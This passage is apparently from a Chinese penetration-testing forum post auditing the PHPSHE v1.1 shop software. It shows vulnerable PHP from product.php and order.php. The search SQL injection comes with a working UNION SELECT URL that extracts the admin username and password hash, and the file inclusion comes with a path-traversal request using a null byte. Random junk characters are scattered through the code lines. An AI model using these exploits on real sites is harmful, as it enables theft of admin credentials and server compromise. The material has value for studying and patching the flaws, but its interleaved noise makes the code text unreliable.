' `- U E4 s6 _9 X! U! z" X8 n
0×02 搜索注入
<code id="code2">
//product.php文件" j! x9 n. f( x3 ?
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索0 k) i9 q; y- l' G% l- h
$sqlwhere = " and `product_state` = 1";* u' W. v& ^7 A- ?* G, ]0 V, i
pe_lead('hook/category.hook.php');
if ($category_id) {( |% T$ j o. S4 t. Y5 T
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤8 x' E3 _/ Z+ ~1 y
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);- o3 S6 [5 Y( N
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";" N/ g& m+ W$ r
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));5 z0 ?9 T' n$ z( G6 m0 |
//跟进selectall函数库8 _7 r+ m; q0 S/ c) R2 e4 W2 z. @
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{& Q- D6 o6 @: { n
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}6 I; K# o/ n8 t1 ?0 J* ]
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
</code>/ U. p6 l& I& A6 E: ^9 A
0×03 包含漏洞2
<code id="code3">
//order.php
case 'pay':
/ }- o- G5 l1 e: l4 D
$order_id = pe_dbhold($_g_id);
. P6 k! q, d. a+ p" ~
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
( b8 F6 q v! ?6 H" E$ v
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
2 V# [/ }: X7 y( V( H
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
0 |/ u, j. s7 O) f: u2 k3 j
}
: U( X' @* Z) m5 o1 m
}
9 r1 n/ V! t6 _+ P- i3 L; m0 e
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
, g/ l: h' M& y+ Z2 A0 T
!$order['order_id'] && pe_error('订单号错误...');
if (isset($_p_pesubmit)) {
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
~8 J! h5 Q0 c5 P- v
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};";
}
echo '正在为您连接支付网站,请稍后...';
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
. ?5 a6 c0 ^/ W7 O9 ^
}//当一切准备好的时候就可以进行"鸡肋包含了"
else {
/ {- p5 f, C; }+ g
pe_error('支付错误...');
) G; C& w9 x9 a. S* V! O
}
; V4 j! `: ^2 u% d G0 @
}
$seo = pe_seo('选择支付方式');
& N7 \6 C, i. d+ p" z
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |